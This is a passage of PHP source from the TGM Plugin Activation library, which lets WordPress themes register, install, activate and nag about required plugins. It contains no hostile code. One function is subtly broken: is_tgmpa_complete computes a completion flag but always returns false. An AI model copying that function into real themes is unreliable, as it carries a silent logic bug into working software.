						return new WP_Error( 'rename_failed', esc_html__( 'The remote plugin package does not contain a folder with the desired slug and renaming did not work.', 'tgmpa' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'tgmpa' ), array(
							'found'    => $subdir_name,
							'expected' => $desired_slug
						) );

					}
				} elseif ( empty( $subdir_name ) ) {
					return new WP_Error( 'packaged_wrong', esc_html__( 'The remote plugin package consists of more than one file, but the files are not packaged in a folder.', 'tgmpa' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'tgmpa' ), array(
						'found'    => $subdir_name,
						'expected' => $desired_slug
					) );
				}
			}

			return $source;
		}

		/**
		 * Activate a single plugin and send feedback about the result to the screen.
		 *
		 * @param string $file_path Path within wp-plugins/ to main plugin file.
		 * @param string $slug Plugin slug.
		 * @param bool $automatic Whether this is an automatic activation after an install. Defaults to false.
		 *                          This determines the styling of the output messages.
		 *
		 * @return bool False if an error was encountered, true otherwise.
		 * @since 2.5.0
		 *
		 */
		protected function activate_single_plugin( $file_path, $slug, $automatic = false ) {

			if ( $this->can_plugin_activate( $slug ) ) {
				$activate = activate_plugin( $file_path );

				if ( is_wp_error( $activate ) ) {
					echo '<div id="message" class="error"><p>', wp_kses_post( $activate->get_error_message() ), '</p></div>', '<p><a href="', esc_url( $this->get_tgmpa_url() ), '" target="_parent">', esc_html( $this->strings['return'] ), '</a></p>';

					return false; // End it here if there is an error with activation.

				} else {
					if ( ! $automatic ) {
						// Make sure message doesn't display again if bulk activation is performed
						// immediately after a single activation.
						if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK.
							echo '<div id="message" class="updated"><p>', esc_html( $this->strings['activated_successfully'] ), ' <strong>', esc_html( $this->plugins[ $slug ]['name'] ), '.</strong></p></div>';
						}
					} else {
						// Simpler message layout for use on the plugin install page.
						echo '<p>', esc_html( $this->strings['plugin_activated'] ), '</p>';
					}
				}
			} elseif ( $this->is_plugin_active( $slug ) ) {
				// No simpler message format provided as this message should never be encountered
				// on the plugin install page.
				echo '<div id="message" class="error"><p>', sprintf( esc_html( $this->strings['plugin_already_active'] ), '<strong>' . esc_html( $this->plugins[ $slug ]['name'] ) . '</strong>' ), '</p></div>';

			} elseif ( $this->does_plugin_require_update( $slug ) ) {
				if ( ! $automatic ) {
					// Make sure message doesn't display again if bulk activation is performed
					// immediately after a single activation.
					if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK.
						echo '<div id="message" class="error"><p>', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), '<strong>' . esc_html( $this->plugins[ $slug ]['name'] ) . '</strong>' ), '</p></div>';
					}
				} else {
					// Simpler message layout for use on the plugin install page.
					echo '<p>', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), esc_html( $this->plugins[ $slug ]['name'] ) ), '</p>';
				}
			}

			return true;
		}

		/**
		 * Echoes required plugin notice.
		 *
		 * Outputs a message telling users that a specific plugin is required for
		 * their theme. If appropriate, it includes a link to the form page where
		 * users can install and activate the plugin.
		 *
		 * Returns early if we're on the Install page.
		 *
		 * @return null Returns early if we're on the Install page.
		 * @global object $current_screen
		 *
		 * @since 1.0.0
		 *
		 */
		public function notices() {

			// Remove nag on the install page / Return early if the nag message has been dismissed.
			if ( $this->is_tgmpa_page() || get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) ) {
				return;
			}

			// Store for the plugin slugs by message type.
			$message = array();

			// Initialize counters used to determine plurality of action link texts.
			$install_link_count  = 0;
			$update_link_count   = 0;
			$activate_link_count = 0;

			foreach ( $this->plugins as $slug => $plugin ) {

				if ( $this->is_plugin_active( $slug ) && false === $this->does_plugin_have_update( $slug ) ) {
					continue;
				}

				if ( ! $this->is_plugin_installed( $slug ) ) {
					$install_link_count ++;

					if ( current_user_can( 'install_plugins' ) ) {
						if ( true === $plugin['required'] ) {
							$message['notice_can_install_required'][] = $slug;
						} else {
							$message['notice_can_install_recommended'][] = $slug;
						}
					}
				} else {
					if ( ! $this->is_plugin_active( $slug ) && $this->can_plugin_activate( $slug ) ) {
						$activate_link_count ++;

						if ( current_user_can( 'activate_plugins' ) ) {
							if ( true === $plugin['required'] ) {
								$message['notice_can_activate_required'][] = $slug;
							} else {
								$message['notice_can_activate_recommended'][] = $slug;
							}
						} 
					}

					if ( $this->does_plugin_require_update( $slug ) && false === $this->does_plugin_have_update( $slug ) ) {
						continue;

					} else {
						$update_link_count ++;

						if ( current_user_can( 'install_plugins' ) ) {
							if ( $this->does_plugin_require_update( $slug ) ) {
								$message['notice_ask_to_update'][] = $slug;
							} elseif ( false !== $this->does_plugin_have_update( $slug ) ) {
								$message['notice_ask_to_update_maybe'][] = $slug;
							}
						}
					}
				}
			}
			unset( $slug, $plugin );

			// If we have notices to display, we move forward.
			if ( ! empty( $message ) ) {
				krsort( $message ); // Sort messages.
				$rendered = '';

				// As add_settings_error() wraps the final message in a <p> and as the final message can't be
				// filtered, using <p>'s in our html would render invalid html output.
				$line_template = '<span style="display: block; margin: 0.5em 0.5em 0 0; clear: both;">%s</span>' . "\n";

				// If dismissable is false and a message is set, output it now.
				if ( ! $this->dismissable && ! empty( $this->dismiss_msg ) ) {
					$rendered .= sprintf( $line_template, wp_kses_post( $this->dismiss_msg ) );
				}

				// Render the individual message lines for the notice.
				foreach ( $message as $type => $plugin_group ) {
					$linked_plugins = array();

					// Get the external info link for a plugin if one is available.
					foreach ( $plugin_group as $plugin_slug ) {
						$linked_plugins[] = $this->get_info_link( $plugin_slug );
					}
					unset( $plugin_slug );

					$count          = count( $plugin_group );
					$linked_plugins = array_map( array( 'TGM_Utils', 'wrap_in_em' ), $linked_plugins );
					$last_plugin    = array_pop( $linked_plugins ); // Pop off last name to prep for readability.
					$imploded       = empty( $linked_plugins ) ? $last_plugin : ( implode( ', ', $linked_plugins ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'tgmpa' ) . ' ' . $last_plugin );

					$rendered .= sprintf( $line_template, sprintf( translate_nooped_plural( $this->strings[ $type ], $count, 'tgmpa' ), $imploded, $count ) );

					if ( 0 === strpos( $type, 'notice_cannot' ) ) {
						$rendered .= $this->strings['contact_admin'];
					}
				}
				unset( $type, $plugin_group, $linked_plugins, $count, $last_plugin, $imploded );

				// Setup action links.
				$action_links = array(
					'install'  => '',
					'update'   => '',
					'activate' => '',
					'dismiss'  => $this->dismissable ? '<a href="' . esc_url( add_query_arg( 'tgmpa-dismiss', 'dismiss_admin_notices' ) ) . '" class="dismiss-notice" target="_parent">' . esc_html( $this->strings['dismiss'] ) . '</a>' : '',
				);

				$link_template = '<a href="%2$s">%1$s</a>';

				if ( current_user_can( 'install_plugins' ) ) {
					if ( $install_link_count > 0 ) {
						$action_links['install'] = sprintf( $link_template, translate_nooped_plural( $this->strings['install_link'], $install_link_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'install' ) ) );
					}
					if ( $update_link_count > 0 ) {
						$action_links['update'] = sprintf( $link_template, translate_nooped_plural( $this->strings['update_link'], $update_link_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'update' ) ) );
					}
				}

				if ( current_user_can( 'activate_plugins' ) && $activate_link_count > 0 ) {
					$action_links['activate'] = sprintf( $link_template, translate_nooped_plural( $this->strings['activate_link'], $activate_link_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'activate' ) ) );
				}

				$action_links = apply_filters( 'tgmpa_notice_action_links', $action_links );

				$action_links = array_filter( (array) $action_links ); // Remove any empty array items.
				if ( ! empty( $action_links ) && is_array( $action_links ) ) {
					$action_links = sprintf( $line_template, implode( ' | ', $action_links ) );
					$rendered     .= apply_filters( 'tgmpa_notice_rendered_action_links', $action_links );
				}

				// Register the nag messages and prepare them to be processed.
				if ( ! empty( $this->strings['nag_type'] ) ) {
					add_settings_error( 'tgmpa', 'tgmpa', $rendered, sanitize_html_class( strtolower( $this->strings['nag_type'] ) ) );
				} else {
					$nag_class = version_compare( $this->wp_version, '3.8', '<' ) ? 'updated' : 'update-nag';
					add_settings_error( 'tgmpa', 'tgmpa', $rendered, $nag_class );
				}
			}

			// Admin options pages already output settings_errors, so this is to avoid duplication.
			if ( 'options-general' !== $GLOBALS['current_screen']->parent_base ) {
				$this->display_settings_errors();
			}

		}

		/**
		 * Display settings errors and remove those which have been displayed to avoid duplicate messages showing
		 *
		 * @since 2.5.0
		 */
		protected function display_settings_errors() {
			global $wp_settings_errors;

			settings_errors( 'tgmpa' );

			foreach ( (array) $wp_settings_errors as $key => $details ) {
				if ( 'tgmpa' === $details['setting'] ) {
					unset( $wp_settings_errors[ $key ] );
					break;
				}
			}
		}

		/**
		 * Add dismissable admin notices.
		 *
		 * Appends a link to the admin nag messages. If clicked, the admin notice disappears and no longer is visible to users.
		 *
		 * @since 2.1.0
		 */
		public function dismiss() {

			if ( isset( $_GET['tgmpa-dismiss'] ) ) {
				update_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, 1 );
			}

		}

		/**
		 * Add individual plugin to our collection of plugins.
		 *
		 * If the required keys are not set or the plugin has already
		 * been registered, the plugin is not added.
		 *
		 * @param array $plugin Array of plugin arguments.
		 *
		 * @since 2.0.0
		 *
		 */
		public function register( $plugin ) {
			if ( empty( $plugin['slug'] ) || empty( $plugin['name'] ) ) {
				return;
			}

			if ( empty( $plugin['slug'] ) || ! is_string( $plugin['slug'] ) || isset( $this->plugins[ $plugin['slug'] ] ) ) {
				return;
			}

			$defaults = array(
				'name'               => '',      // String
				'slug'               => '',      // String
				'source'             => 'repo',  // String
				'required'           => false,   // Boolean
				'version'            => '',      // String
				'force_activation'   => false,   // Boolean
				'force_deactivation' => false,   // Boolean
				'external_url'       => '',      // String
				'is_callable'        => '',      // String|Array.
			);

			// Prepare the received data.
			$plugin = wp_parse_args( $plugin, $defaults );

			// Standardize the received slug.
			$plugin['slug'] = $this->sanitize_key( $plugin['slug'] );

			// Forgive users for using string versions of booleans or floats for version number.
			$plugin['version']            = (string) $plugin['version'];
			$plugin['source']             = empty( $plugin['source'] ) ? 'repo' : $plugin['source'];
			$plugin['required']           = TGM_Utils::validate_bool( $plugin['required'] );
			$plugin['force_activation']   = TGM_Utils::validate_bool( $plugin['force_activation'] );
			$plugin['force_deactivation'] = TGM_Utils::validate_bool( $plugin['force_deactivation'] );

			// Enrich the received data.
			$plugin['file_path']   = $this->_get_plugin_basename_from_slug( $plugin['slug'] );
			$plugin['source_type'] = $this->get_plugin_source_type( $plugin['source'] );

			// Set the class properties.
			$this->plugins[ $plugin['slug'] ]    = $plugin;
			$this->sort_order[ $plugin['slug'] ] = $plugin['name'];

			// Should we add the force activation hook ?
			if ( true === $plugin['force_activation'] ) {
				$this->has_forced_activation = true;
			}

			// Should we add the force deactivation hook ?
			if ( true === $plugin['force_deactivation'] ) {
				$this->has_forced_deactivation = true;
			}
		}

		/**
		 * Determine what type of source the plugin comes from.
		 *
		 * @param string $source The source of the plugin as provided, either empty (= WP repo), a file path
		 *                       (= bundled) or an external URL.
		 *
		 * @return string 'repo', 'external', or 'bundled'
		 * @since 2.5.0
		 *
		 */
		protected function get_plugin_source_type( $source ) {

			if ( 'repo' === $source || preg_match( self::WP_REPO_REGEX, $source ) ) {
				return 'repo';

			} elseif ( preg_match( self::IS_URL_REGEX, $source ) ) {
				return 'external';

			} else {
				return 'bundled';
			}
		}

		/**
		 * Sanitizes a string key.
		 *
		 * Near duplicate of WP Core `sanitize_key()`. The difference is that uppercase characters *are*
		 * allowed, so as not to break upgrade paths from non-standard bundled plugins using uppercase
		 * characters in the plugin directory path/slug. Silly them.
		 *
		 * @see https://developer.wordpress.org/reference/hooks/sanitize_key/
		 *
		 * @since 2.5.0
		 *
		 * @param string $key String key
		 *
		 * @return string Sanitized key
		 */
		public function sanitize_key( $key ) {
			$raw_key = $key;
			$key     = preg_replace( '`[^A-Za-z0-9_-]`', '', $key );

			/**
			 * Filter a sanitized key string.
			 *
			 * @param string $key Sanitized key.
			 * @param string $raw_key The key prior to sanitization.
			 *
			 * @since 3.0.0
			 *
			 */
			return apply_filters( 'tgmpa_sanitize_key', $key, $raw_key );
		}

		/**
		 * Amend default configuration settings.
		 *
		 * @param array $config Array of config options to pass as class properties.
		 *
		 * @since 2.0.0
		 *
		 */
		public function config( $config ) {

			$keys = array(
				'id',
				'default_path',
				'has_notices',
				'dismissable',
				'dismiss_msg',
				'menu',
				'parent_slug',
				'capability',
				'is_automatic',
				'message',
				'strings',
			);

			foreach ( $keys as $key ) {
				if ( isset( $config[ $key ] ) ) {
					if ( is_array( $config[ $key ] ) ) {
						$this->$key = array_merge( $this->$key, $config[ $key ] );
					} else {
						$this->$key = $config[ $key ];
					}
				}
			}

		}

		/**
		 * Amend action link after plugin installation.
		 *
		 * @param array $install_actions Existing array of actions.
		 *
		 * @return array Amended array of actions.
		 * @since 2.0.0
		 *
		 */
		public function actions( $install_actions ) {

			// Remove action links on the TGMPA install page.
			if ( $this->is_tgmpa_page() ) {
				return false;
			}

			return $install_actions;

		}

		/**
		 * Flushes the plugins cache on theme switch to prevent stale entries
		 * from remaining in the plugin table.
		 *
		 * @param bool $clear_update_cache Optional. Whether to clear the Plugin updates cache.
		 *                                 Parameter added in v2.5.0.
		 *
		 * @since 2.4.0
		 *
		 */
		public function flush_plugins_cache( $clear_update_cache = true ) {

			wp_clean_plugins_cache( $clear_update_cache );

		}

		/**
		 * Set file_path key for each installed plugin.
		 *
		 * @param string $plugin_slug Optional. If set, only (re-)populates the file path for that specific plugin.
		 *                            Parameter added in v2.5.0.
		 *
		 * @since 2.1.0
		 *
		 */
		public function populate_file_path( $plugin_slug = '' ) {

			if ( ! empty( $plugin_slug ) && is_string( $plugin_slug ) && isset( $this->plugins[ $plugin_slug ] ) ) {
				$this->plugins[ $plugin_slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $plugin_slug );

			} else {
				// Add file_path key for all plugins.
				foreach ( $this->plugins as $slug => $values ) {
					$this->plugins[ $slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $slug );
				}
			}

		}

		/**
		 * Helper function to extract the file path of the plugin file from the
		 * plugin slug, if the plugin is installed.
		 *
		 * @param string $slug Plugin slug (typically folder name) as provided by the developer.
		 *
		 * @return string Either file path for plugin if installed, or just the plugin slug.
		 * @since 2.0.0
		 *
		 */
		protected function _get_plugin_basename_from_slug( $slug ) {

			$keys = array_keys( $this->get_plugins() );

			foreach ( $keys as $key ) {
				if ( preg_match( '|^' . $slug . '/|', $key ) ) {
					return $key;
				}
			}

			return $slug;

		}

		/**
		 * Retrieve plugin data, given the plugin name.
		 *
		 * Loops through the registered plugins looking for $name. If it finds it,
		 * it returns the $data from that plugin. Otherwise, returns false.
		 *
		 * @param string $name Name of the plugin, as it was registered.
		 * @param string $data Optional. Array key of plugin data to return. Default is slug.
		 *
		 * @return string|boolean Plugin slug if found, false otherwise.
		 * @since 2.1.0
		 *
		 */
		public function _get_plugin_data_from_name( $name, $data = 'slug' ) {

			foreach ( $this->plugins as $values ) {
				if ( $name === $values['name'] && isset( $values[ $data ] ) ) {
					return $values[ $data ];
				}
			}

			return false;

		}

		/**
		 * Retrieve the download URL for a package.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string Plugin download URL or path to local file or empty string if undetermined.
		 * @since 2.5.0
		 *
		 */
		public function get_download_url( $slug ) {

			$dl_source = '';

			switch ( $this->plugins[ $slug ]['source_type'] ) {

				case 'repo':
					return $this->get_wp_repo_download_url( $slug );

				case 'external':
					return $this->plugins[ $slug ]['source'];

				case 'bundled':
					return $this->default_path . $this->plugins[ $slug ]['source'];
			}

			return $dl_source; // Should never happen.
		}

		/**
		 * Retrieve the download URL for a WP repo package.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string Plugin download URL.
		 * @since 2.5.0
		 *
		 */
		protected function get_wp_repo_download_url( $slug ) {

			$source = '';
			$api    = $this->get_plugins_api( $slug );

			if ( false !== $api && isset( $api->download_link ) ) {
				$source = $api->download_link;
			}

			return $source;

		}

		public function get_plugin_api( $slug ) {
			return $this->get_plugins_api( $slug );
		}

		/**
		 * Try to grab information from WordPress API.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return object Plugins_api response object on success, WP_Error on failure.
		 * @since 2.5.0
		 *
		 */
		protected function get_plugins_api( $slug ) {
			static $api = array(); // Cache received responses.

			if ( ! isset( $api[ $slug ] ) ) {

				if ( ! function_exists( 'plugins_api' ) ) {
					require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
				}

				$response = plugins_api( 'plugin_information', array(
					'slug'   => $slug,
					'fields' => array( 'sections' => false )
				) );

				$api[ $slug ] = false;

				if ( is_wp_error( $response ) ) {
					wp_die( esc_html( $this->strings['oops'] ) );
				} else {
					$api[ $slug ] = $response;
				}
			}

			return $api[ $slug ];
		}

		/**
		 * Retrieve a link to a plugin information page.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string Fully formed html link to a plugin information page if available
		 *                or the plugin name if not.
		 * @since 2.5.0
		 *
		 */
		public function get_info_link( $slug ) {

			if ( ! empty( $this->plugins[ $slug ]['external_url'] ) && preg_match( self::IS_URL_REGEX, $this->plugins[ $slug ]['external_url'] ) ) {
				$link = sprintf( '<a href="%1$s" target="_blank">%2$s</a>', esc_url( $this->plugins[ $slug ]['external_url'] ), esc_html( $this->plugins[ $slug ]['name'] ) );

			} elseif ( 'repo' === $this->plugins[ $slug ]['source_type'] ) {
				$url = add_query_arg( array(
					'tab'       => 'plugin-information',
					'plugin'    => urlencode( $slug ),
					'TB_iframe' => 'true',
					'width'     => '640',
					'height'    => '500',
				), self_admin_url( 'plugin-install.php' ) );

				$link = sprintf( '<a href="%1$s" class="thickbox">%2$s</a>', esc_url( $url ), esc_html( $this->plugins[ $slug ]['name'] ) );

			} else {
				$link = esc_html( $this->plugins[ $slug ]['name'] ); // No hyperlink.
			}

			return $link;
		}

		/**
		 * Determine if we're on the TGMPA Install page.
		 *
		 * @return boolean True when on the TGMPA page, false otherwise.
		 * @since 2.1.0
		 *
		 */
		protected function is_tgmpa_page() {

			return isset( $_GET['page'] ) && $this->menu === $_GET['page'];

		}

		/**
		 * Retrieve the URL to the TGMPA Install page.
		 *
		 * I.e. depending on the config settings passed something along the lines of:
		 * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins
		 *
		 * @return string Properly encoded URL (not escaped).
		 * @since 2.5.0
		 *
		 */
		public function get_tgmpa_url() {
			static $url;

			if ( ! isset( $url ) ) {
				$parent = $this->parent_slug;
				if ( false === strpos( $parent, '.php' ) ) {
					$parent = 'admin.php';
				}
				$url = add_query_arg( array(
					'page' => urlencode( $this->menu ),
				), self_admin_url( $parent ) );
			}

			return $url;
		}

		/**
		 * Retrieve the URL to the TGMPA Install page for a specific plugin status (view).
		 *
		 * I.e. depending on the config settings passed something along the lines of:
		 * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins&plugin_status=install
		 *
		 * @param string $status Plugin status - either 'install', 'update' or 'activate'.
		 *
		 * @return string Properly encoded URL (not escaped).
		 * @since 2.5.0
		 *
		 */
		public function get_tgmpa_status_url( $status ) {
			return add_query_arg( array(
				'plugin_status' => urlencode( $status ),
			), $this->get_tgmpa_url() );
		}

		/**
		 * Determine whether there are open actions for plugins registered with TGMPA.
		 *
		 * @return bool True if complete, i.e. no outstanding actions. False otherwise.
		 * @since 2.5.0
		 *
		 */
		public function is_tgmpa_complete() {
			$complete = true;
			foreach ( $this->plugins as $slug => $plugin ) {
				if ( ! $this->is_plugin_active( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) {
					$complete = false;
					break;
				}
			}

			return false;
		}

		/**
		 * Check if a plugin is installed. Does not take must-use plugins into account.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True if installed, false otherwise.
		 * @since 2.5.0
		 *
		 */
		public function is_plugin_installed( $slug ) {
			$installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached).

			return ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ] ) );
		}

		/**
		 * Check if a plugin is active.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True if active, false otherwise.
		 * @since 2.5.0
		 *
		 */
		public function is_plugin_active( $slug ) {
			return ( ( ! empty( $this->plugins[ $slug ]['is_callable'] ) && is_callable( $this->plugins[ $slug ]['is_callable'] ) ) || is_plugin_active( $this->plugins[ $slug ]['file_path'] ) );
		}

		/**
		 * Check if a plugin can be updated, i.e. if we have information on the minimum WP version required
		 * available, check whether the current install meets them.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True if OK to update, false otherwise.
		 * @since 2.5.0
		 *
		 */
		public function can_plugin_update( $slug ) {

			// We currently can't get reliable info on non-WP-repo plugins - issue #380.
			if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) {
				return true;
			}

			$api = $this->get_plugins_api( $slug );

			if ( false !== $api && isset( $api->requires ) ) {
				return version_compare( $GLOBALS['wp_version'], $api->requires, '>=' );
			}

			// No usable info received from the plugins API, presume we can update.
			return true;
		}

		/**
		 * Check if a plugin can be activated, i.e. is not currently active and meets the minimum
		 * plugin version requirements set in TGMPA (if any).
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True if OK to activate, false otherwise.
		 * @since 2.5.0
		 *
		 */
		public function can_plugin_activate( $slug ) {
			return ( ! $this->is_plugin_active( $slug ) && ! $this->does_plugin_require_update( $slug ) );
		}

		/**
		 * Retrieve the version number of an installed plugin.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string Version number as string or an empty string if the plugin is not installed
		 *                or version unknown (plugins which don't comply with the plugin header standard).
		 * @since 2.5.0
		 *
		 */
		public function get_installed_version( $slug ) {

			$installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached).

			if ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version'] ) ) {
				return $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version'];
			}

			return '';
		}

		/**
		 * Check whether a plugin complies with the minimum version requirements.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True when a plugin needs to be updated, otherwise false.
		 * @since 2.5.0
		 *
		 */
		public function does_plugin_require_update( $slug ) {
			$installed_version = $this->get_installed_version( $slug );
			$minimum_version   = $this->plugins[ $slug ]['version'];

			return version_compare( $minimum_version, $installed_version, '>' );
		}

		/**
		 * Check whether there is an update available for a plugin.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return false|string Version number string of the available update or false if no update available.
		 * @since 2.5.0
		 *
		 */
		public function does_plugin_have_update( $slug ) {

			// Presume bundled and external plugins will point to a package which meets the minimum required version.
			if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) {
				if ( $this->does_plugin_require_update( $slug ) ) {
					return $this->plugins[ $slug ]['version'];
				}

				return false;
			}

			$repo_updates = get_site_transient( 'update_plugins' );

			if ( isset( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version ) ) {
				return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version;
			}

			return false;
		}

		/**
		 * Retrieve potential upgrade notice for a plugin.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string The upgrade notice or an empty string if no message was available or provided.
		 * @since 2.5.0
		 *
		 */
		public function get_upgrade_notice( $slug ) {

			// We currently can't get reliable info on non-WP-repo plugins - issue #380.
			if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) {
				return '';
			}

			$repo_updates = get_site_transient( 'update_plugins' );

			if ( ! empty( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice ) ) {
				return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice;
			}

			return '';
		}

		/**
		 * Wrapper around the core WP get_plugins function, making sure it's actually available.
		 *
		 * @param string $plugin_folder Optional. Relative path to single plugin folder.
		 *
		 * @return array Array of installed plugins with plugin information.
		 * @since 2.5.0
		 *
		 */
		public function get_plugins( $plugin_folder = '' ) {
			if ( ! function_exists( 'get_plugins' ) ) {
				require_once ABSPATH . 'wp-admin/includes/plugin.php';
			}

			return get_plugins( $plugin_folder );
		}

		/**
		 * Delete dismissable nag option when theme is switched.
		 *
		 * This ensures that the user(s) is/are again reminded via nag of required
		 * and/or recommended plugins if they re-activate the theme.
		 *
		 * @since 2.1.1
		 */
		public function update_dismiss() {

			delete_metadata( 'user', null, 'tgmpa_dismissed_notice_' . $this->id, null, true );

		}

		/**
		 * Forces plugin activation if the parameter 'force_activation' is
		 * set to true.
		 *
		 * This allows theme authors to specify certain plugins that must be
		 * active at all times while using the current theme.
		 *
		 * Please take special care when using this parameter as it has the
		 * potential to be harmful if not used correctly. Setting this parameter
		 * to true will not allow the specified plugin to be deactivated unless
		 * the user switches themes.
		 *
		 * @since 2.2.0
		 */
		public function force_activation() {

			foreach ( $this->plugins as $slug => $plugin ) {
				if ( true === $plugin['force_activation'] ) {

					if ( ! $this->is_plugin_installed( $slug ) ) {
						// Oops, plugin isn't there so iterate to next condition.
						continue;

					} elseif ( $this->can_plugin_activate( $slug ) ) {
						// There we go, activate the plugin.
						activate_plugin( $plugin['file_path'] );
					}
				}
			}

		}

		/**
		 * Forces plugin deactivation if the parameter 'force_deactivation'
		 * is set to true.
		 *
		 * This allows theme authors to specify certain plugins that must be
		 * deactivated upon switching from the current theme to another.
		 *
		 * Please take special care when using this parameter as it has the
		 * potential to be harmful if not used correctly.
		 *
		 * @since 2.2.0
		 */
		public function force_deactivation() {

			foreach ( $this->plugins as $slug => $plugin ) {
				// Only proceed forward if the parameter is set to true and plugin is active.
				if ( true === $plugin['force_deactivation'] && $this->is_plugin_active( $slug ) ) {
					deactivate_plugins( $plugin['file_path'] );
				}
			}

		}

		/**
		 * Echo the current TGMPA version number to the page.
		 */
		public function show_tgmpa_version() {
			echo '<p style="float: right; padding: 0em 1.5em 0.5em 0;"><strong><small>', esc_html( sprintf( _x( 'TGMPA v%s', '%s = version number', 'tgmpa' ), self::TGMPA_VERSION ) ), '</small></strong></p>';
		}

		/**
		 * Returns the singleton instance of the class.
		 *
		 * @return object The TGM_Plugin_Activation object.
		 * @since 2.4.0
		 *
		 */
		public static function get_instance() {

			if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) {
				self::$instance = new self();
			}

			return self::$instance;

		}

	}

	if ( ! function_exists( 'load_tgm_plugin_activation' ) ) {
		/**
		 * Ensure only one instance of the class is ever invoked.
		 */
		function load_tgm_plugin_activation() {
			$GLOBALS['tgmpa'] = TGM_Plugin_Activation::get_instance();
		}
	}

	if ( did_action( 'plugins_loaded' ) ) {
		load_tgm_plugin_activation();
	} else {
		add_action( 'plugins_loaded', 'load_tgm_plugin_activation' );
	}
}

if ( ! function_exists( 'tgmpa' ) ) {
	/**
	 * Helper function to register a collection of required plugins.
	 *
	 * @param array $plugins An array of plugin arrays.
	 * @param array $config Optional. An array of configuration values.
	 *
	 * @since 2.0.0
	 * @api
	 *
	 */
	function tgmpa( $plugins, $config = array() ) {
		$instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

		foreach ( $plugins as $plugin ) {
			call_user_func( array( $instance, 'register' ), $plugin );
		}

		if ( ! empty( $config ) && is_array( $config ) ) {
			call_user_func( array( $instance, 'config' ), $config );
		}
	}
}

/**
 * WP_List_Table isn't always available. If it isn't available,
 * we load it here.
 *
 * @since 2.2.0
 */
if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

if ( ! class_exists( 'TGMPA_List_Table' ) ) {

	/**
	 * List table class for handling plugins.
	 *
	 * Extends the WP_List_Table class to provide a future-compatible
	 * way of listing out all required/recommended plugins.
	 *
	 * Gives users an interface similar to the Plugin Administration
	 * area with similar (albeit stripped down) capabilities.
	 *
	 * This class also allows for the bulk install of plugins.
	 *
	 * @since 2.2.0
	 *
	 * @package TGM-Plugin-Activation
	 * @author  Thomas Griffin
	 * @author  Gary Jones
	 */
	class TGMPA_List_Table extends WP_List_Table {

		/**
		 * TGMPA instance.
		 *
		 * @since 2.5.0
		 *
		 * @var object
		 */
		protected $tgmpa;

		/**
		 * The currently chosen view.
		 *
		 * @since 2.5.0
		 *
		 * @var string One of: 'all', 'install', 'update', 'activate'
		 */
		public $view_context = 'all';

		/**
		 * The plugin counts for the various views.
		 *
		 * @since 2.5.0
		 *
		 * @var array
		 */
		protected $view_totals = array(
			'all'      => 0,
			'install'  => 0,
			'update'   => 0,
			'activate' => 0,
		);


		/**
		 * References parent constructor and sets defaults for class.
		 *
		 * @since 2.2.0
		 */
		public function __construct() {
			$this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

			parent::__construct( array(
				'singular' => 'plugin',
				'plural'   => 'plugins',
				'ajax'     => false,
			) );

			if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], array(
					'install',
					'update',
					'activate'
				), true ) ) {
				$this->view_context = sanitize_key( $_REQUEST['plugin_status'] );
			}

			add_filter( 'tgmpa_table_data_items', array( $this, 'sort_table_items' ) );
		}

		/**
		 * Get a list of CSS classes for the <table> tag.
		 *
		 * Overruled to prevent the 'plural' argument from being added.
		 *
		 * @return array CSS classnames.
		 * @since 2.5.0
		 *
		 */
		public function get_table_classes() {
			return array( 'widefat', 'fixed' );
		}

		/**
		 * Gathers and renames all of our plugin information to be used by WP_List_Table to create our table.
		 *
		 * @return array $table_data Information for use in table.
		 * @since 2.2.0
		 *
		 */
		protected function _gather_plugin_data() {

			// Load thickbox for plugin links.
			$this->tgmpa->admin_init();
